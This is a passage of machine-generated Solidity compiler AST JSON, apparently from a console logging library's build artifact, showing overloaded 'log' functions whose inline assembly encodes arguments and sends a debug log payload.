ype":"YulIdentifier","src":"309312:2:22"}],"functionName":{"name":"mstore","nativeSrc":"309299:6:22","nodeType":"YulIdentifier","src":"309299:6:22"},"nativeSrc":"309299:16:22","nodeType":"YulFunctionCall","src":"309299:16:22"},"nativeSrc":"309299:16:22","nodeType":"YulExpressionStatement","src":"309299:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"309335:4:22","nodeType":"YulLiteral","src":"309335:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"309341:2:22","nodeType":"YulIdentifier","src":"309341:2:22"}],"functionName":{"name":"mstore","nativeSrc":"309328:6:22","nodeType":"YulIdentifier","src":"309328:6:22"},"nativeSrc":"309328:16:22","nodeType":"YulFunctionCall","src":"309328:16:22"},"nativeSrc":"309328:16:22","nodeType":"YulExpressionStatement","src":"309328:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"309364:4:22","nodeType":"YulLiteral","src":"309364:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"309370:2:22","nodeType":"YulIdentifier","src":"309370:2:22"}],"functionName":{"name":"mstore","nativeSrc":"309357:6:22","nodeType":"YulIdentifier","src":"309357:6:22"},"nativeSrc":"309357:16:22","nodeType":"YulFunctionCall","src":"309357:16:22"},"nativeSrc":"309357:16:22","nodeType":"YulExpressionStatement","src":"309357:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"309393:4:22","nodeType":"YulLiteral","src":"309393:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"309399:2:22","nodeType":"YulIdentifier","src":"309399:2:22"}],"functionName":{"name":"mstore","nativeSrc":"309386:6:22","nodeType":"YulIdentifier","src":"309386:6:22"},"nativeSrc":"309386:16:22","nodeType":"YulFunctionCall","src":"309386:16:22"},"nativeSrc":"309386:16:22","nodeType":"YulExpressionStatement","src":"309386:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"309422:4:22","nodeType":"YulLiteral","src":"309422:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"309428:2:22","nodeType":"YulIdentifier","src":"309428:2:22"}],"functionName":{"name":"mstore","nativeSrc":"309415:6:22","nodeType":"YulIdentifier","src":"309415:6:22"},"nativeSrc":"309415:16:22","nodeType":"YulFunctionCall","src":"309415:16:22"},"nativeSrc":"309415:16:22","nodeType":"YulExpressionStatement","src":"309415:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"309451:4:22","nodeType":"YulLiteral","src":"309451:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"309457:2:22","nodeType":"YulIdentifier","src":"309457:2:22"}],"functionName":{"name":"mstore","nativeSrc":"309444:6:22","nodeType":"YulIdentifier","src":"309444:6:22"},"nativeSrc":"309444:16:22","nodeType":"YulFunctionCall","src":"309444:16:22"},"nativeSrc":"309444:16:22","nodeType":"YulExpressionStatement","src":"309444:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43916,"isOffset":false,"isSlot":false,"src":"309283:2:22","valueSize":1},{"declaration":43919,"isOffset":false,"isSlot":false,"src":"309312:2:22","valueSize":1},{"declaration":43922,"isOffset":false,"isSlot":false,"src":"309341:2:22","valueSize":1},{"declaration":43925,"isOffset":false,"isSlot":false,"src":"309370:2:22","valueSize":1},{"declaration":43928,"isOffset":false,"isSlot":false,"src":"309399:2:22","valueSize":1},{"declaration":43931,"isOffset":false,"isSlot":false,"src":"309428:2:22","valueSize":1},{"declaration":43934,"isOffset":false,"isSlot":false,"src":"309457:2:22","valueSize":1}],"id":43942,"nodeType":"InlineAssembly","src":"309247:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"308151:3:22","parameters":{"id":43913,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43906,"mutability":"mutable","name":"p0","nameLocation":"308163:2:22","nodeType":"VariableDeclaration","scope":43944,"src":"308155:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43905,"name":"bytes32","nodeType":"ElementaryTypeName","src":"308155:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43908,"mutability":"mutable","name":"p1","nameLocation":"308175:2:22","nodeType":"VariableDeclaration","scope":43944,"src":"308167:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43907,"name":"address","nodeType":"ElementaryTypeName","src":"308167:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":43910,"mutability":"mutable","name":"p2","nameLocation":"308184:2:22","nodeType":"VariableDeclaration","scope":43944,"src":"308179:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":43909,"name":"bool","nodeType":"ElementaryTypeName","src":"308179:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":43912,"mutability":"mutable","name":"p3","nameLocation":"308196:2:22","nodeType":"VariableDeclaration","scope":43944,"src":"308188:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43911,"name":"address","nodeType":"ElementaryTypeName","src":"308188:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"308154:45:22"},"returnParameters":{"id":43914,"nodeType":"ParameterList","parameters":[],"src":"308214:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43984,"nodeType":"FunctionDefinition","src":"309482:1328:22","nodes":[],"body":{"id":43983,"nodeType":"Block","src":"309551:1259:22","nodes":[],"statements":[{"assignments":[43956],"declarations":[{"constant":false,"id":43956,"mutability":"mutable","name":"m0","nameLocation":"309569:2:22","nodeType":"VariableDeclaration","scope":43983,"src":"309561:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43955,"name":"bytes32","nodeType":"ElementaryTypeName","src":"309561:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43957,"nodeType":"VariableDeclarationStatement","src":"309561:10:22"},{"assignments":[43959],"declarations":[{"constant":false,"id":43959,"mutability":"mutable","name":"m1","nameLocation":"309589:2:22","nodeType":"VariableDeclaration","scope":43983,"src":"309581:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43958,"name":"bytes32","nodeType":"ElementaryTypeName","src":"309581:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43960,"nodeType":"VariableDeclarationStatement","src":"309581:10:22"},{"assignments":[43962],"declarations":[{"constant":false,"id":43962,"mutability":"mutable","name":"m2","nameLocation":"309609:2:22","nodeType":"VariableDeclaration","scope":43983,"src":"309601:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43961,"name":"bytes32","nodeType":"ElementaryTypeName","src":"309601:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43963,"nodeType":"VariableDeclarationStatement","src":"309601:10:22"},{"assignments":[43965],"declarations":[{"constant":false,"id":43965,"mutability":"mutable","name":"m3","nameLocation":"309629:2:22","nodeType":"VariableDeclaration","scope":43983,"src":"309621:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43964,"name":"bytes32","nodeType":"ElementaryTypeName","src":"309621:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43966,"nodeType":"VariableDeclarationStatement","src":"309621:10:22"},{"assignments":[43968],"declarations":[{"constant":false,"id":43968,"mutability":"mutable","name":"m4","nameLocation":"309649:2:22","nodeType":"VariableDeclaration","scope":43983,"src":"309641:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43967,"name":"bytes32","nodeType":"ElementaryTypeName","src":"309641:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43969,"nodeType":"VariableDeclarationStatement","src":"309641:10:22"},{"assignments":[43971],"declarations":[{"constant":false,"id":43971,"mutability":"mutable","name":"m5","nameLocation":"309669:2:22","nodeType":"VariableDeclaration","scope":43983,"src":"309661:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43970,"name":"bytes32","nodeType":"ElementaryTypeName","src":"309661:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43972,"nodeType":"VariableDeclarationStatement","src":"309661:10:22"},{"assignments":[43974],"declarations":[{"constant":false,"id":43974,"mutability":"mutable","name":"m6","nameLocation":"309689:2:22","nodeType":"VariableDeclaration","scope":43983,"src":"309681:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43973,"name":"bytes32","nodeType":"ElementaryTypeName","src":"309681:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43975,"nodeType":"VariableDeclarationStatement","src":"309681:10:22"},{"AST":{"nativeSrc":"309710:825:22","nodeType":"YulBlock","src":"309710:825:22","statements":[{"body":{"nativeSrc":"309753:313:22","nodeType":"YulBlock","src":"309753:313:22","statements":[{"nativeSrc":"309771:15:22","nodeType":"YulVariableDeclaration","src":"309771:15:22","value":{"kind":"number","nativeSrc":"309785:1:22","nodeType":"YulLiteral","src":"309785:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"309775:6:22","nodeType":"YulTypedName","src":"309775:6:22","type":""}]},{"body":{"nativeSrc":"309856:40:22","nodeType":"YulBlock","src":"309856:40:22","statements":[{"body":{"nativeSrc":"309885:9:22","nodeType":"YulBlock","src":"309885:9:22","statements":[{"nativeSrc":"309887:5:22","nodeType":"YulBreak","src":"309887:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"309873:6:22","nodeType":"YulIdentifier","src":"309873:6:22"},{"name":"w","nativeSrc":"309881:1:22","nodeType":"YulIdentifier","src":"309881:1:22"}],"functionName":{"name":"byte","nativeSrc":"309868:4:22","nodeType":"YulIdentifier","src":"309868:4:22"},"nativeSrc":"309868:15:22","nodeType":"YulFunctionCall","src":"309868:15:22"}],"functionName":{"name":"iszero","nativeSrc":"309861:6:22","nodeType":"YulIdentifier","src":"309861:6:22"},"nativeSrc":"309861:23:22","nodeType":"YulFunctionCall","src":"309861:23:22"},"nativeSrc":"309858:36:22","nodeType":"YulIf","src":"309858:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"309813:6:22","nodeType":"YulIdentifier","src":"309813:6:22"},{"kind":"number","nativeSrc":"309821:4:22","nodeType":"YulLiteral","src":"309821:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"309810:2:22","nodeType":"YulIdentifier","src":"309810:2:22"},"nativeSrc":"309810:16:22","nodeType":"YulFunctionCall","src":"309810:16:22"},"nativeSrc":"309803:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"309827:28:22","nodeType":"YulBlock","src":"309827:28:22","statements":[{"nativeSrc":"309829:24:22","nodeType":"YulAssignment","src":"309829:24:22","value":{"arguments":[{"name":"length","nativeSrc":"309843:6:22","nodeType":"YulIdentifier","src":"309843:6:22"},{"kind":"number","nativeSrc":"309851:1:22","nodeType":"YulLiteral","src":"309851:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"309839:3:22","nodeType":"YulIdentifier","src":"309839:3:22"},"nativeSrc":"309839:14:22","nodeType":"YulFunctionCall","src":"309839:14:22"},"variableNames":[{"name":"length","nativeSrc":"309829:6:22","nodeType":"YulIdentifier","src":"309829:6:22"}]}]},"pre":{"nativeSrc":"309807:2:22","nodeType":"YulBlock","src":"309807:2:22","statements":[]},"src":"309803:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"309920:3:22","nodeType":"YulIdentifier","src":"309920:3:22"},{"name":"length","nativeSrc":"309925:6:22","nodeType":"YulIdentifier","src":"309925:6:22"}],"functionName":{"name":"mstore","nativeSrc":"309913:6:22","nodeType":"YulIdentifier","src":"309913:6:22"},"nativeSrc":"309913:19:22","nodeType":"YulFunctionCall","src":"309913:19:22"},"nativeSrc":"309913:19:22","nodeType":"YulExpressionStatement","src":"309913:19:22"},{"nativeSrc":"309949:37:22","nodeType":"YulVariableDeclaration","src":"309949:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"309966:3:22","nodeType":"YulLiteral","src":"309966:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"309975:1:22","nodeType":"YulLiteral","src":"309975:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"309978:6:22","nodeType":"YulIdentifier","src":"309978:6:22"}],"functionName":{"name":"shl","nativeSrc":"309971:3:22","nodeType":"YulIdentifier","src":"309971:3:22"},"nativeSrc":"309971:14:22","nodeType":"YulFunctionCall","src":"309971:14:22"}],"functionName":{"name":"sub","nativeSrc":"309962:3:22","nodeType":"YulIdentifier","src":"309962:3:22"},"nativeSrc":"309962:24:22","nodeType":"YulFunctionCall","src":"309962:24:22"},"variables":[{"name":"shift","nativeSrc":"309953:5:22","nodeType":"YulTypedName","src":"309953:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"310014:3:22","nodeType":"YulIdentifier","src":"310014:3:22"},{"kind":"number","nativeSrc":"310019:4:22","nodeType":"YulLiteral","src":"310019:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"310010:3:22","nodeType":"YulIdentifier","src":"310010:3:22"},"nativeSrc":"310010:14:22","nodeType":"YulFunctionCall","src":"310010:14:22"},{"arguments":[{"name":"shift","nativeSrc":"310030:5:22","nodeType":"YulIdentifier","src":"310030:5:22"},{"arguments":[{"name":"shift","nativeSrc":"310041:5:22","nodeType":"YulIdentifier","src":"310041:5:22"},{"name":"w","nativeSrc":"310048:1:22","nodeType":"YulIdentifier","src":"310048:1:22"}],"functionName":{"name":"shr","nativeSrc":"310037:3:22","nodeType":"YulIdentifier","src":"310037:3:22"},"nativeSrc":"310037:13:22","nodeType":"YulFunctionCall","src":"310037:13:22"}],"functionName":{"name":"shl","nativeSrc":"310026:3:22","nodeType":"YulIdentifier","src":"310026:3:22"},"nativeSrc":"310026:25:22","nodeType":"YulFunctionCall","src":"310026:25:22"}],"functionName":{"name":"mstore","nativeSrc":"310003:6:22","nodeType":"YulIdentifier","src":"310003:6:22"},"nativeSrc":"310003:49:22","nodeType":"YulFunctionCall","src":"310003:49:22"},"nativeSrc":"310003:49:22","nodeType":"YulExpressionStatement","src":"310003:49:22"}]},"name":"writeString","nativeSrc":"309724:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"309745:3:22","nodeType":"YulTypedName","src":"309745:3:22","type":""},{"name":"w","nativeSrc":"309750:1:22","nodeType":"YulTypedName","src":"309750:1:22","type":""}],"src":"309724:342:22"},{"nativeSrc":"310079:17:22","nodeType":"YulAssignment","src":"310079:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"310091:4:22","nodeType":"YulLiteral","src":"310091:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"310085:5:22","nodeType":"YulIdentifier","src":"310085:5:22"},"nativeSrc":"310085:11:22","nodeType":"YulFunctionCall","src":"310085:11:22"},"variableNames":[{"name":"m0","nativeSrc":"310079:2:22","nodeType":"YulIdentifier","src":"310079:2:22"}]},{"nativeSrc":"310109:17:22","nodeType":"YulAssignment","src":"310109:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"310121:4:22","nodeType":"YulLiteral","src":"310121:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"310115:5:22","nodeType":"YulIdentifier","src":"310115:5:22"},"nativeSrc":"310115:11:22","nodeType":"YulFunctionCall","src":"310115:11:22"},"variableNames":[{"name":"m1","nativeSrc":"310109:2:22","nodeType":"YulIdentifier","src":"310109:2:22"}]},{"nativeSrc":"310139:17:22","nodeType":"YulAssignment","src":"310139:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"310151:4:22","nodeType":"YulLiteral","src":"310151:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"310145:5:22","nodeType":"YulIdentifier","src":"310145:5:22"},"nativeSrc":"310145:11:22","nodeType":"YulFunctionCall","src":"310145:11:22"},"variableNames":[{"name":"m2","nativeSrc":"310139:2:22","nodeType":"YulIdentifier","src":"310139:2:22"}]},{"nativeSrc":"310169:17:22","nodeType":"YulAssignment","src":"310169:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"310181:4:22","nodeType":"YulLiteral","src":"310181:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"310175:5:22","nodeType":"YulIdentifier","src":"310175:5:22"},"nativeSrc":"310175:11:22","nodeType":"YulFunctionCall","src":"310175:11:22"},"variableNames":[{"name":"m3","nativeSrc":"310169:2:22","nodeType":"YulIdentifier","src":"310169:2:22"}]},{"nativeSrc":"310199:17:22","nodeType":"YulAssignment","src":"310199:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"310211:4:22","nodeType":"YulLiteral","src":"310211:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"310205:5:22","nodeType":"YulIdentifier","src":"310205:5:22"},"nativeSrc":"310205:11:22","nodeType":"YulFunctionCall","src":"310205:11:22"},"variableNames":[{"name":"m4","nativeSrc":"310199:2:22","nodeType":"YulIdentifier","src":"310199:2:22"}]},{"nativeSrc":"310229:17:22","nodeType":"YulAssignment","src":"310229:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"310241:4:22","nodeType":"YulLiteral","src":"310241:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"310235:5:22","nodeType":"YulIdentifier","src":"310235:5:22"},"nativeSrc":"310235:11:22","nodeType":"YulFunctionCall","src":"310235:11:22"},"variableNames":[{"name":"m5","nativeSrc":"310229:2:22","nodeType":"YulIdentifier","src":"310229:2:22"}]},{"nativeSrc":"310259:17:22","nodeType":"YulAssignment","src":"310259:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"310271:4:22","nodeType":"YulLiteral","src":"310271:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"310265:5:22","nodeType":"YulIdentifier","src":"310265:5:22"},"nativeSrc":"310265:11:22","nodeType":"YulFunctionCall","src":"310265:11:22"},"variableNames":[{"name":"m6","nativeSrc":"310259:2:22","nodeType":"YulIdentifier","src":"310259:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"310356:4:22","nodeType":"YulLiteral","src":"310356:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"310362:10:22","nodeType":"YulLiteral","src":"310362:10:22","type":"","value":"0x79884c2b"}],"functionName":{"name":"mstore","nativeSrc":"310349:6:22","nodeType":"YulIdentifier","src":"310349:6:22"},"nativeSrc":"310349:24:22","nodeType":"YulFunctionCall","src":"310349:24:22"},"nativeSrc":"310349:24:22","nodeType":"YulExpressionStatement","src":"310349:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"310393:4:22","nodeType":"YulLiteral","src":"310393:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"310399:4:22","nodeType":"YulLiteral","src":"310399:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"310386:6:22","nodeType":"YulIdentifier","src":"310386:6:22"},"nativeSrc":"310386:18:22","nodeType":"YulFunctionCall","src":"310386:18:22"},"nativeSrc":"310386:18:22","nodeType":"YulExpressionStatement","src":"310386:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"310424:4:22","nodeType":"YulLiteral","src":"310424:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"310430:2:22","nodeType":"YulIdentifier","src":"310430:2:22"}],"functionName":{"name":"mstore","nativeSrc":"310417:6:22","nodeType":"YulIdentifier","src":"310417:6:22"},"nativeSrc":"310417:16:22","nodeType":"YulFunctionCall","src":"310417:16:22"},"nativeSrc":"310417:16:22","nodeType":"YulExpressionStatement","src":"310417:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"310453:4:22","nodeType":"YulLiteral","src":"310453:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"310459:2:22","nodeType":"YulIdentifier","src":"310459:2:22"}],"functionName":{"name":"mstore","nativeSrc":"310446:6:22","nodeType":"YulIdentifier","src":"310446:6:22"},"nativeSrc":"310446:16:22","nodeType":"YulFunctionCall","src":"310446:16:22"},"nativeSrc":"310446:16:22","nodeType":"YulExpressionStatement","src":"310446:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"310482:4:22","nodeType":"YulLiteral","src":"310482:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"310488:2:22","nodeType":"YulIdentifier","src":"310488:2:22"}],"functionName":{"name":"mstore","nativeSrc":"310475:6:22","nodeType":"YulIdentifier","src":"310475:6:22"},"nativeSrc":"310475:16:22","nodeType":"YulFunctionCall","src":"310475:16:22"},"nativeSrc":"310475:16:22","nodeType":"YulExpressionStatement","src":"310475:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"310516:4:22","nodeType":"YulLiteral","src":"310516:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"310522:2:22","nodeType":"YulIdentifier","src":"310522:2:22"}],"functionName":{"name":"writeString","nativeSrc":"310504:11:22","nodeType":"YulIdentifier","src":"310504:11:22"},"nativeSrc":"310504:21:22","nodeType":"YulFunctionCall","src":"310504:21:22"},"nativeSrc":"310504:21:22","nodeType":"YulExpressionStatement","src":"310504:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43956,"isOffset":false,"isSlot":false,"src":"310079:2:22","valueSize":1},{"declaration":43959,"isOffset":false,"isSlot":false,"src":"310109:2:22","valueSize":1},{"declaration":43962,"isOffset":false,"isSlot":false,"src":"310139:2:22","valueSize":1},{"declaration":43965,"isOffset":false,"isSlot":false,"src":"310169:2:22","valueSize":1},{"declaration":43968,"isOffset":false,"isSlot":false,"src":"310199:2:22","valueSize":1},{"declaration":43971,"isOffset":false,"isSlot":false,"src":"310229:2:22","valueSize":1},{"declaration":43974,"isOffset":false,"isSlot":false,"src":"310259:2:22","valueSize":1},{"declaration":43946,"isOffset":false,"isSlot":false,"src":"310522:2:22","valueSize":1},{"declaration":43948,"isOffset":false,"isSlot":false,"src":"310430:2:22","valueSize":1},{"declaration":43950,"isOffset":false,"isSlot":false,"src":"310459:2:22","valueSize":1},{"declaration":43952,"isOffset":false,"isSlot":false,"src":"310488:2:22","valueSize":1}],"id":43976,"nodeType":"InlineAssembly","src":"309701:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43978,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"310560:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":43979,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"310566:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":43977,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"310544:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43980,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"310544:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43981,"nodeType":"ExpressionStatement","src":"310544:27:22"},{"AST":{"nativeSrc":"310590:214:22","nodeType":"YulBlock","src":"310590:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"310611:4:22","nodeType":"YulLiteral","src":"310611:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"310617:2:22","nodeType":"YulIdentifier","src":"310617:2:22"}],"functionName":{"name":"mstore","nativeSrc":"310604:6:22","nodeType":"YulIdentifier","src":"310604:6:22"},"nativeSrc":"310604:16:22","nodeType":"YulFunctionCall","src":"310604:16:22"},"nativeSrc":"310604:16:22","nodeType":"YulExpressionStatement","src":"310604:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"310640:4:22","nodeType":"YulLiteral","src":"310640:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"310646:2:22","nodeType":"YulIdentifier","src":"310646:2:22"}],"functionName":{"name":"mstore","nativeSrc":"310633:6:22","nodeType":"YulIdentifier","src":"310633:6:22"},"nativeSrc":"310633:16:22","nodeType":"YulFunctionCall","src":"310633:16:22"},"nativeSrc":"310633:16:22","nodeType":"YulExpressionStatement","src":"310633:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"310669:4:22","nodeType":"YulLiteral","src":"310669:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"310675:2:22","nodeType":"YulIdentifier","src":"310675:2:22"}],"functionName":{"name":"mstore","nativeSrc":"310662:6:22","nodeType":"YulIdentifier","src":"310662:6:22"},"nativeSrc":"310662:16:22","nodeType":"YulFunctionCall","src":"310662:16:22"},"nativeSrc":"310662:16:22","nodeType":"YulExpressionStatement","src":"310662:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"310698:4:22","nodeType":"YulLiteral","src":"310698:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"310704:2:22","nodeType":"YulIdentifier","src":"310704:2:22"}],"functionName":{"name":"mstore","nativeSrc":"310691:6:22","nodeType":"YulIdentifier","src":"310691:6:22"},"nativeSrc":"310691:16:22","nodeType":"YulFunctionCall","src":"310691:16:22"},"nativeSrc":"310691:16:22","nodeType":"YulExpressionStatement","src":"310691:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"310727:4:22","nodeType":"YulLiteral","src":"310727:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"310733:2:22","nodeType":"YulIdentifier","src":"310733:2:22"}],"functionName":{"name":"mstore","nativeSrc":"310720:6:22","nodeType":"YulIdentifier","src":"310720:6:22"},"nativeSrc":"310720:16:22","nodeType":"YulFunctionCall","src":"310720:16:22"},"nativeSrc":"310720:16:22","nodeType":"YulExpressionStatement","src":"310720:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"310756:4:22","nodeType":"YulLiteral","src":"310756:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"310762:2:22","nodeType":"YulIdentifier","src":"310762:2:22"}],"functionName":{"name":"mstore","nativeSrc":"310749:6:22","nodeType":"YulIdentifier","src":"310749:6:22"},"nativeSrc":"310749:16:22","nodeType":"YulFunctionCall","src":"310749:16:22"},"nativeSrc":"310749:16:22","nodeType":"YulExpressionStatement","src":"310749:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"310785:4:22","nodeType":"YulLiteral","src":"310785:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"310791:2:22","nodeType":"YulIdentifier","src":"310791:2:22"}],"functionName":{"name":"mstore","nativeSrc":"310778:6:22","nodeType":"YulIdentifier","src":"310778:6:22"},"nativeSrc":"310778:16:22","nodeType":"YulFunctionCall","src":"310778:16:22"},"nativeSrc":"310778:16:22","nodeType":"YulExpressionStatement","src":"310778:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43956,"isOffset":false,"isSlot":false,"src":"310617:2:22","valueSize":1},{"declaration":43959,"isOffset":false,"isSlot":false,"src":"310646:2:22","valueSize":1},{"declaration":43962,"isOffset":false,"isSlot":false,"src":"310675:2:22","valueSize":1},{"declaration":43965,"isOffset":false,"isSlot":false,"src":"310704:2:22","valueSize":1},{"declaration":43968,"isOffset":false,"isSlot":false,"src":"310733:2:22","valueSize":1},{"declaration":43971,"isOffset":false,"isSlot":false,"src":"310762:2:22","valueSize":1},{"declaration":43974,"isOffset":false,"isSlot":false,"src":"310791:2:22","valueSize":1}],"id":43982,"nodeType":"InlineAssembly","src":"310581:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"309491:3:22","parameters":{"id":43953,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43946,"mutability":"mutable","name":"p0","nameLocation":"309503:2:22","nodeType":"VariableDeclaration","scope":43984,"src":"309495:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43945,"name":"bytes32","nodeType":"ElementaryTypeName","src":"309495:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43948,"mutability":"mutable","name":"p1","nameLocation":"309515:2:22","nodeType":"Vari